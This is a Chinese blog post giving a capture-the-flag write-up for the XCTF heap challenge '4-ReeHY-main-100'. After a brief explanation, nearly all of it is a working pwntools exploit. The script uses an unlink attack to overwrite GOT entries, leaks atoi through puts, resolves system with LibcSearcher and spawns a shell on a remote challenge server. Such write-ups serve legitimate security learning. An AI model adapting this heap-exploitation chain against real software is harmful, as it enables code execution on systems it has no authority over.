xctf 4-ReeHY-main-100

3 篇文章 0 订阅

卡了很久,最后发现他给的libc有点问题,还是用libcsearcher找,贼坑。
参考:https://bbs.pediy.com/thread-218300.htm

首先是unlink修改free的got表为puts的plt表地址,泄露函数地址,然后修改free为system,执行system(binsh)。

# -*- coding: utf-8 -*-  

from pwn import*
from LibcSearcher import *

context(arch = 'amd64', os = 'linux',log_level="debug") 

def Welcome():
    p.recvuntil("$ ")
    p.sendline("mutepig")
 
def Add(size,id,content):
    p.recvuntil("$ ")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("cun\n")
    p.sendline(str(id))
    p.recvuntil("content\n")
    p.sendline(content)
 
def Remove(id):
    p.recvuntil("$ ")
    p.sendline("2")
    p.recvuntil("dele\n")
    p.sendline(str(id))
 
def Edit(id,content):
    p.recvuntil("$ ")
    p.sendline("3")
    p.recvuntil("edit\n")
    p.sendline(str(id))
    p.recvuntil("content\n")
    p.send(content)

if 0:  # local
    p = process("./4-ReeHY-main")

else:
    p = remote('111.198.29.45',43936)


elf = ELF('4-ReeHY-main')

free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
heap_addr = 0x602100

print hex(free_got)
Welcome()
Add(512,0,"/bin/sh\x00")
Add(512,1,"11111111")
Add(512,2,"22222222")
Add(512,3,"33333333")

Remove(3)													#这里如果用1,2会有问题,不知道啥原因
Remove(2)
print hex(heap_addr)


payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'A'*(512-0x20) + p64(512) + p64(512)
Add(1024,2,payload)
Remove(3) 													#double free后,此时2的指针指向存放该指针的前3字节,在栈上

Edit(2,'1'*0x18 + p64(free_got)+p64(1)+p64(atoi_got))		#这里修改的是存放指向2和3的指针的位置,edit后,原本指向2的指针已指向got表中的free,原本指向3的指针指向got表中atoi函数的位置,用于泄露atoi函数的地址。

Edit(2,p64(puts_plt))										#修改free为puts
Remove(3)													#相当于puts(got[atoi])

atoi_addr=p.recv(6)
atoi_addr=atoi_addr.ljust(8,'\x00')
atoi_addr = u64(atoi_addr)
obj=LibcSearcher("atoi",atoi_addr)
base_addr = atoi_addr - obj.dump('atoi')
print "======="+hex(base_addr)

#raw_input()
#gdb.attach(p)
system_addr = base_addr + obj.dump('system')
 
Edit(2,p64(system_addr))
Remove(0)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值